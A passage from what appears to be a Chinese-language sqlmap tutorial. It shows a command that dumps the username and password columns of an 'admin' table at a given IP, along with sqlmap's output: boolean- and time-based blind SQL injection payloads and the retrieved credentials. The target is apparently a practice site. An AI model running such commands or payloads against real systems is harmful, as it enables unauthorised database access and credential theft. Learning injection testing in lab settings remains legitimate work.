[19:31:48] [INFO] retrieved: password
[19:31:51] [INFO] retrieved: varchar(11)
Database: maoshe
Table: admin
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| Id | int(11) |
| password | varchar(11) |
| username | varchar(11) |
+----------+-------------+
[19:31:54] [INFO] fetched data logged to text files under '/Users/leiyuxing/.local/share/sqlmap/output/59.63.200.79'
[*] ending @ 19:31:54 /2021-12-01/
7、查看maoshe数据库、admin表的“password,username”字段的值:
./sqlmap.py -u "http://59.63.200.79:8003/?id=1" --dump -C "password,username" -T admin -D "maoshe"
查看执行结果:
___
__H__
___ ___["]_____ ___ ___ {1.5.11.10#dev}
|_ -| . [)] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 19:32:56 /2021-12-01/
[19:32:57] [INFO] resuming back-end DBMS 'mysql'
[19:32:57] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2663=2663
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 1019 FROM (SELECT(SLEEP(5)))aUkW)
---
[19:32:57] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.12
[19:32:57] [INFO] fetching entries of column(s) 'password,username' for table 'admin' in database 'maoshe'
[19:32:57] [INFO] fetching number of column(s) 'password,username' entries for table 'admin' in database 'maoshe'
[19:32:57] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[19:32:57] [INFO] retrieved: 2
[19:32:58] [INFO] retrieved: hellohack
[19:33:00] [INFO] retrieved: admin
[19:33:01] [INFO] retrieved: zkaqbanban
[19:33:04] [INFO] retrieved: ppt领取微信
Database: maoshe
Table: admin
[2 entries]
+------------+----------+
| password | username |
+------------+----------+
| hellohack | admin |
| zkaqbanban | ppt领取微信 |
+------------+----------+
[19:33:25] [INFO] table 'maoshe.admin' dumped to CSV file '/Users/leiyuxing/.local/share/sqlmap/output/59.63.200.79/dump/maoshe/admin.csv'
[19:33:25] [INFO] fetched data logged to text files under '/Users/leiyuxing/.local/share/sqlmap/output/59.63.200.79'
[*] ending @ 19:33:25 /2021-12-01/
关于windows上的安装和使用可以参考:windows上sqlmap的使用教程